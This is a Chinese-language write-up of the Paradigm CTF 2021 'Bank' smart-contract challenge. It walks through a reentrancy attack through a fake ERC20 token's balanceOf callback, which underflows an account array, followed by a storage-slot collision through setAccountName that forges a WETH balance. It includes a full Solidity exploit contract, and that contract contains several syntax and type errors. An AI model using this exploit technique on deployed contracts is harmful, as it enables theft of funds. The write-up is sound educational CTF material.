该题是大神Samczsun在2021年2月份出的题目中的一道,非常的有意思。做这道题的时候让我回忆起了当初在高中做奥林匹克竞赛题的感觉,一环扣一环。非常感谢Samczsun大神。
基于STEVE的博客,可以参考https://smarx.com/posts/2021/02/writeup-of-paradigm-ctf-bank/

该题是Samczsun在2021年2月份出的题目中的一道,非常的有意思。做这道题的时候让我回忆起了当初在高中做奥林匹克竞赛题的感觉,一环扣一环。非常感谢Samczsun。这道题目内容很简单,他给你了一个Bank合约,让你将合约中的50个WETH全部拿走即可。
目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 :fish: 。如果你觉得我写的还不错,可以加我的微信:woodward1993
这个题目不是逆向题,他给了你源代码。(:boxing_glove::boxing_glove::boxing_glove: Thanks GOD)
简单看,源代码里面提供了一个Bank合约,你可以在该合约中存Token,取Token,设置账户等。
| 函数签名 | 备注 | 
|---|---|
| depositToken(uint accountId, address token, uint amount) | //如果需要,请为用户打开一个新帐户//检查用户是否有足够的余额,不会发生溢出//如有必要,递增唯一令牌的计数器//更新余额//将代币转入 | 
| withdrawToken(uint accountId, address token, uint amount) | //检查用户是否可以实际提取他们想要的金额,我们有足够的余额//更新余额//如果用户清空了余额,则减少唯一令牌的数量//如果用户要从上一个帐户中提取所有内容,请关闭它//我们无法关闭阵列中间的帐户,因为我们无法克隆余额映射,这样用户将失去所有余额//转出代币 | 
| setAccountName(uint accountId, string name) | //设置帐户的显示名称 | 
| closeLastAccount() | //确保用户有帐户//确保最后一个帐户为空//关闭帐户 | 
| getAccountInfo(uint accountId) | //获取有关帐户的信息 | 
| getAccountBalance(uint accountId, address token) | //获取TOKEN的余额 | 
| transferOwnership(address newOwner) | //将所有权转移到新地址 | 
| acceptOwnership() | //接受所有权转让 | 
该合约另一个奇怪的点是他的数据结构:
给定了一个map,map里面是以address为key,以Accounts动态数组作为值。Accounts动态数组里存放的是结构体Account,该结构体包含一个string, 一个uint,和一个map。这个accounts 的含义是一个地址对应的是多个账户,每个账户有自己的账户名,该账户所拥有的Token的种类数量,以及每种Token的对应的余额。
struct Account {
        string accountName;
        uint uniqueTokens;
        mapping(address => uint) balances;
    }
mapping(address => Account[]) accounts;拿到题目时,先整体分析下这个合约。最明显的两个特点是:
deposit, withdraw等函数都没有防止重进入的措施
nonReentry修饰符accounts[msg.sender].length--; 如果此时的accounts[msg.sender].length == 0,则会使得accounts[msg.sender].length下溢出account.uniqueTokens--;account.balances[token] -= amount;那此时最直接的思路是利用重进入,使得数组下越界,然后利用越界的数组,在Storage写入我感兴趣的值,比如我的账户的WETH的余额等,然后在调用withdraw函数取出合约中所有的WETH到我的账户上。:+1:
既然说到重进入,就需要理解什么是重进入,它是怎么个原理。简单来说就是合约A的方法A在调用合约B的方法B时,在方法B的内部又再次调用了合于A的方法A。此时A会再次执行,称为重进入。
sequenceDiagram
    ContractA->>funcA: 合约A调用方法A
    funcA ->> ContractB_funcB: 方法A调用合约B中的方法B
    opt 重进入
    ContractB_funcB ->> funcA: 重进入
    funcA ->> ContractB_funcB: 方法A调用合约B中的方法B
    end
    alt 结束调用
    ContractB_funcB ->> ContractB_funcC: 合约B的方法B调用合约B的方法C
    end注意重进入与顺序执行的区别。重进入可以理解为发生递归。
function inSequence() {
    contractA.funcA()
    contractB.funcB()
    contractA.funcA()
    contractB.funcB()    
}这并不是重进入,他只是顺序执行。重进入的一个核心概念是要在函数A的内部调用函数B,然后函数B在内部调用回函数A。而对于顺序执行,即使顺序执行的逻辑被包含在一个函数中,每一步都互相独立,不存在一个递归逻辑。
我们需要明确我们的目标是什么,否则思路会不清晰。从上面的分析可以看到,我们重进入的目标是让数组下溢出。即:
accounts[msg.sender].length == uint(-1)
要达成这个目标,我们需要withdrawToken函数在执行如下代码段的时候,满足如下三个条件:
accounts[msg.sender].length==0account.uniqueTokens == 1account.balances[token] == 0func_withdrawToken:
if (account.balances[token] == 0) {
    account.uniqueTokens--;
    if (account.uniqueTokens == 0 && accountId == lastAccount) {
                    accounts[msg.sender].length--;
    }
}分析withdarwToken函数发现,唯有如下两个函数涉及到外部合约的调用:
ERC20Like(token).balanceOf(msg.sender)
ERC20Like(token).transferFrom(msg.sender, address(this), amount)
如果我们在ERC20Like(token).balanceOf(msg.sender)中调用closeLastAccount()函数,则可以使得条件1,3都能满足。然而,问题的关键在于条件2. 如果我们这样调用,由于withdrawToken中要求account.uniqueTokens == 1, 而 closeLastAccount中要求 accounts[msg.sender][lastAccount].uniqueTokens == 0.此刻两个要求相冲突,必然会导致revert.
function closeLastAccount() external {
    // make sure the user has an account
    require(accounts[msg.sender].length > 0, "closeLastAccount/no-accounts");
    // make sure the last account is empty
    uint lastAccount = accounts[msg.sender].length - 1;
    require(accounts[msg.sender][lastAccount].uniqueTokens == 0, "closeLastAccount/non-empty");
    // close the account
    accounts[msg.sender].length--;
}此时,我们需要梳理关键的三个函数的要求以及可以发生重进入的位点,及在该位点前发生的状态改变:
| 函数名 | 重进入位点 | 要求 | 状态改变 | 
|---|---|---|---|
| withdrawToken | balanceOf_1 | len > 0balance >= amount | |
| balanceOf_2 | balance == 0uniqueTokens == 1len==0 | uniqueTokens--len--(accountId == lastAccount) | |
| closeLastAccount | NA | len > 0uniqueTokens == 0 | len-- | 
| depositToken | balanceOf_1 | len >= 0amount >= 0 | len++(accountId == len) | 
| balanceOf_2 | oldBalance==0 | uniqueTokens++ | 
再来考虑我们的目标:
accounts[msg.sender].length == uint(-1)
要实现该目标,我们的目标状态为:uniqueTokens = 0, len = uint(-1)
| 函数名 | 重进入位点 | 需要的状态 | 
|---|---|---|
| withdrawToken | balanceOf_2 | uT = 1len = 0 | 
| depositToken | balanceOf_2 | uT = 0len = 0 | 
| closeLastAccount | NA | uT = 0len = 1 | 
| depositToken | balanceOf_1 | uT = 0len = 0 | 
| closeLastAccount | NA | uT = 0len = 1 | 
| withdrawToken | balanceOf_1 | uT = 0len = 1 | 
整理成调用栈结构为:
withdrawToken =>
    balanceOf_1 =>
        closeLastAccount
        depositToken
            balanceOf_1 =>
                closeLastAccount
            balanceOf_2
    balanceOf_2现在的问题是我们想要在最开始调用withdarwToken函数时,让其uniqueTokens=0且len=1, 可以利用len++和len--的条件不一致来实现。即让withdrawToken中的accountId != lastAccount,则该len--就不会执行,从而可以得到uniqueTokens=0且len=1。
| depositToken(0,token,0) | [1] | 
|---|---|
| depositToken(1,token,0) | [1,1] | 
| withdrawToken(0,token,0) | [0,1] | 
| withdrawToken(1,token,0) | [0] | 
pragma solidity >=0.4.22;
import './Bank.sol';
contract HackBank is ERC20like {
    uint reentry;
    address bank;
    constructor(address _bank) {
        bank = _bank;
    }
    function transfer(address dst, uint qty) public returns (bool){
        return true;
    }
    function transferFrom(address src, address dst, uint qty) public returns (bool){
        return true;
    }
    function approve(address, uint) public returns (bool){
        return true;
    }
    function balanceOf(address who) public returns (uint){
        // withdrawToken 1  [0, 1]
        // closeAcc         [0, 0]
        // depositToken 1  [0, 1]
        // closeAcc         [0, 0]
        // depositToken 2  [1, 0]
        // withdrawToken 2  [0, -1]
        if (reentry == 1) {
            reentry = 0;
            Bank(bank).closeLastAccount();
            reentry = 2;
            Bank(bank).depositToken(0, address(this), 0);
        } else if (reentry == 2) {
            Bank(bank).closeLastAccount();
            reentry = 0;
        } 
        return 0;
    }
    function hack_underflow() public {
        // make it [0]
        Bank(bank).depositToken(0,address(this),0); //[1]
        Bank(bank).depositToken(1, address(this), 0); //[1, 1]
        Bank(bank).withdrawToken(0, address(this), 0); // [0, 1]
        Bank(bank).withdrawToken(1, address(this), 0); // [0]
        reentry = 1;
        Bank(bank).withdrawToken(0, address(this), 0);
    }
    function withdraw_WETH() public {
        bytes memory base_key = keccak256(abi.encodePacked(address(this), 0x02));
        bytes memory acc_key = keccak256(base_key);
        uint accountId;
        uint delta;
        for (accountId = 0; true ; accountId += 1) {
            bytes memory target = keccak256(abi.encodePacked(address(WETH), uint(acc_key) + 3*accountId + 2))
            delta = uint(-1) - uint(acc_key) + uint(target) + 1;
            if (delta % 3 == 0) {
                break;
            }
        }
        accountId = delta / 3;
        value = string(abi.encodePacked(bytes31(uint248(uint(-1)))));
        Bank(bank).setAccountName(accountId, value);
        Bank(bank).withdrawToken(accountId, WETH, 50 ether); 
    }
    function exploit() public {
        hack_underflow();
        withdraw_WETH();
    }
}通过重进入,我们成功的将accounts[msg.sender].length == uint(-1),根据思路,我们可以利用setAccountName(uint accountId, string name)函数往里写值,让我们账户里WETH的值无穷大,从而爆破该合约。
首先我们看下函数:setAccountName(uint accountId, string name)
function setAccountName(uint accountId, string name) external {
    require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");
    accounts[msg.sender][accountId].accountName = name;
}简单来讲就是把一个字符串写入到accounts[msg.sender][accountId].accountName中。我们的目标是accounts[msg.sender][accountId].balances[WETH]==uint(-1),则这里我们需要找到一个accountId, 使得如下等式成立:
key(accounts[msg.sender][accountId].accountName) == key(accounts[msg.sender][accountId].balances[WETH])
等式左侧:
key(accounts[msg.sender][accountId].accountName) = 
{
    base_key = keccak(abi.encodePacked(msg.sender, 0x02));
    acc_key = keccak(base_key) + 3 * accountId
    accountName_key = acc_key + 0x00 
}
等式右侧:
key(accounts[msg.sender][accountId].balances[WETH]) = 
{
    base_key2 = keccak(abi.encodePacked(msg.sender, 0x02));
    acc_key2 = keccak(base_key2) + 3 * accountId
    balances[WETH]_key = keccak(abi.encodePacked(address(WETH), acc_key2+0x02))
}
则:
keccak(base_key) + 3 * accountId = keccak(abi.encodePacked(address(WETH),keccak(base_key) + 3 * accountId + 0x02))
=>
accountId * 3 = WETH_BALANCE_KEY - BASE_KEY
//此处为了避免出现负值,加个uint(-1) + 1
=>
accountId * 3 = uint(-1) - BASE_KEY + WETH_BALANCE_KEY + 1
要求该accountId的值必须正好是整除3,不能有余数,即
if ((uint(-1) - BASE_KEY + WETH_BALANCE_KEY + 1) % 3 == 0) {
    break;
}
accountId++;找到对应的accountId后,需要给其赋值,使得accounts[msg.sender][accountId].balances[WETH]=uint(-1),那么这个值应该怎么给呢?
string数据如何存储在storage中:字节和字符串的编码相同。对于短字节数组,它们将数据存储在存储长度的同一插槽中。特别是:如果数据长度最多为31字节,则存储在高阶字节(左对齐)中,低阶字节存储len*2。对于存储长度为32或更多字节的数据的字节数组,主插槽存储len*2+1,数据通常存储在keccak256(slot)中。这意味着可以通过检查是否设置了最低位来区分短数组和长数组:短数组(最低为为0)和长数组(最低位为1)。
比如如下的函数:
function test(uint accountId) public {
    accounts[msg.sender].length++;
    Account storage account = accounts[msg.sender][accountId];
    account.accountName = "Tester";
    account.uniqueTokens = 1;
    account.balances[address(this)] = uint(-1);
}Tester会首先编码成546573746572(Tester.encode().hex()=546573746572),其长度为0x06,长度的2倍为0x0c 则在内存中其存储的值为:0x546573746572000000000000000000000000000000000000000000000000000c
在本题目中,我们希望储存的值为:0xffffffffffffffffffffffffffffffffffffffffffffffffffff共31位,则实际写入内存的值为:0xffffffffffffffffffffffffffffffffffffffffffffffffffff3e, 则我们可以利用如下的python代码得到decode后的字符串
也可以存储一个足够大的值,只要大于50 ether就行。比如5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a,则对应储存的值为0x5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a3e
string = "5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a"
byte_array = bytearray.fromhex(string)
byte_array.decode()
=>
'ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ'整理一下:
function withdraw_WETH() public {
    bytes memory base_key = keccak256(abi.encodePacked(address(this), 0x02));
    bytes memory acc_key = keccak256(base_key);
    uint accountId;
    uint delta;
    for (accountId = 0; true ; accountId += 1) {
        bytes memory target = keccak256(abi.encodePacked(address(WETH), uint(acc_key) + 3*accountId + 2))
        delta = uint(-1) - uint(acc_key) + uint(target) + 1;
        if (delta % 3 == 0) {
            break;
        }
    }
    accountId = delta / 3;
    //value = string(abi.encodePacked(bytes31(uint248(uint(-1)))));
    string memory value = "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ";
    Bank(bank).setAccountName(accountId, value);
    Bank(bank).withdrawToken(accountId, WETH, 50 ether); 
}
function exploit() public {
    hack_underflow();
    withdraw_WETH();
} 
                如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!
